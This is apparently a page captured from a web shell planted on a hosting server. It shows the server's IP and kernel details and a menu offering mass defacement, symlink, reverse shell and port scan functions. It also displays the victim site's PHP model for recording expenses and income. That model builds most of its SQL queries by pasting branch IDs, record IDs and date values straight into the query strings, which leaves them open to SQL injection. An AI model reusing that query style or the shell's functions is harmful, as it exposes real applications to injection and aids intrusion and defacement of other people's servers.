Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil
/
models
/
Viewing: EgresosModel.php
<?php class EgresosModel extends Query { public function __construct() { parent::__construct(); } public function getEgresos($id_sucursal, $desde = null, $hasta = null) { $sql = "SELECT g.*, u.nombre AS usuario, c.codigo_cuenta AS codigo_cuenta_categoria, s.codigo_cuenta AS codigo_cuenta_subcategoria FROM gastos g INNER JOIN usuarios u ON g.id_usuario = u.id LEFT JOIN categorias_gastos c ON g.categoria = c.nombre LEFT JOIN subcategorias_gastos s ON g.subcategoria = s.nombre AND s.id_categoria = c.id WHERE g.id_sucursal = $id_sucursal"; if (!empty($desde) && !empty($hasta)) { $sql .= " AND DATE(g.fecha) BETWEEN '$desde' AND '$hasta'"; } $sql .= " ORDER BY g.fecha DESC"; return $this->selectAll($sql); } public function getTotalIngresos($id_sucursal, $desde, $hasta) { $total = 0; // Ventas al contado (ingreso directo a caja) $sqlVentas = "SELECT SUM(totalConImpuesto) AS total FROM ventas WHERE estado = 1 AND metodo = 'CONTADO' AND id_sucursal = $id_sucursal AND fecha BETWEEN '$desde' AND '$hasta'"; $ventas = $this->select($sqlVentas); $total += (!empty($ventas['total'])) ? (float)$ventas['total'] : 0; // Abonos de créditos (cuando el cliente paga un crédito) $sqlAbonos = "SELECT SUM(a.abono) AS total FROM abonos a INNER JOIN creditos c ON a.id_credito = c.id INNER JOIN ventas v ON c.id_venta = v.id WHERE v.id_sucursal = $id_sucursal AND DATE(a.fecha) BETWEEN '$desde' AND '$hasta'"; $abonos = $this->select($sqlAbonos); $total += (!empty($abonos['total'])) ? (float)$abonos['total'] : 0; // Abonos de apartados $sqlApartados = "SELECT SUM(d.monto) AS total FROM detalle_apartado d INNER JOIN apartados a ON d.id_apartado = a.id WHERE a.id_sucursal = $id_sucursal AND DATE(d.fecha) BETWEEN '$desde' AND '$hasta'"; $apartados = $this->select($sqlApartados); $total += (!empty($apartados['total'])) ? (float)$apartados['total'] : 0; // Abonos de reparaciones (taller) $sqlTaller = "SELECT SUM(ar.monto) AS total FROM abono_reparacion ar INNER JOIN reparaciones r ON ar.id_reparacion = r.id WHERE r.id_sucursal = $id_sucursal AND DATE(ar.fecha) BETWEEN '$desde' AND '$hasta'"; $taller = $this->select($sqlTaller); $total += (!empty($taller['total'])) ? (float)$taller['total'] : 0; return ['total' => $total]; } public function getTotalEgresos($id_sucursal, $desde, $hasta) { $sql = "SELECT SUM(monto) AS total FROM gastos WHERE id_sucursal = $id_sucursal AND DATE(fecha) BETWEEN '$desde' AND '$hasta'"; return $this->select($sql); } public function getEgreso($id, $id_sucursal) { $sql = "SELECT g.*, c.codigo_cuenta AS codigo_cuenta_categoria, s.codigo_cuenta AS codigo_cuenta_subcategoria FROM gastos g LEFT JOIN categorias_gastos c ON g.categoria = c.nombre LEFT JOIN subcategorias_gastos s ON g.subcategoria = s.nombre AND s.id_categoria = c.id WHERE g.id = $id AND g.id_sucursal = $id_sucursal"; return $this->select($sql); } public function getEgresoTicket($id, $id_sucursal) { $sql = "SELECT g.*, u.nombre AS usuario, c.codigo_cuenta AS codigo_cuenta_categoria, s.codigo_cuenta AS codigo_cuenta_subcategoria FROM gastos g INNER JOIN usuarios u ON g.id_usuario = u.id LEFT JOIN categorias_gastos c ON g.categoria = c.nombre LEFT JOIN subcategorias_gastos s ON g.subcategoria = s.nombre AND s.id_categoria = c.id WHERE g.id = $id AND g.id_sucursal = $id_sucursal"; return $this->select($sql); } public function getEmpresa($id_sucursal) { $sql = "SELECT * FROM sucursales WHERE id = $id_sucursal"; return $this->select($sql); } public function actualizarEgreso($monto, $subtotal, $aplica_iva, $iva_monto, $retencion_monto, $codigoCuenta, $categoria, $subcategoria, $descripcion, $foto, $id, $id_sucursal) { $sql = "UPDATE gastos SET monto = ?, subtotal = ?, aplica_iva = ?, iva_monto = ?, retencion_monto = ?, codigo_cuenta = ?, categoria = ?, subcategoria = ?, descripcion = ?, foto = ? WHERE id = ? AND id_sucursal = ?"; $array = array($monto, $subtotal, $aplica_iva, $iva_monto, $retencion_monto, $codigoCuenta, $categoria, $subcategoria, $descripcion, $foto, $id, $id_sucursal); return $this->save($sql, $array); } public function eliminarEgreso($id, $id_sucursal) { $sql = "DELETE FROM gastos WHERE id = $id AND id_sucursal = $id_sucursal"; return $this->save($sql, []); } }
Coded With 💗 by
0x6ick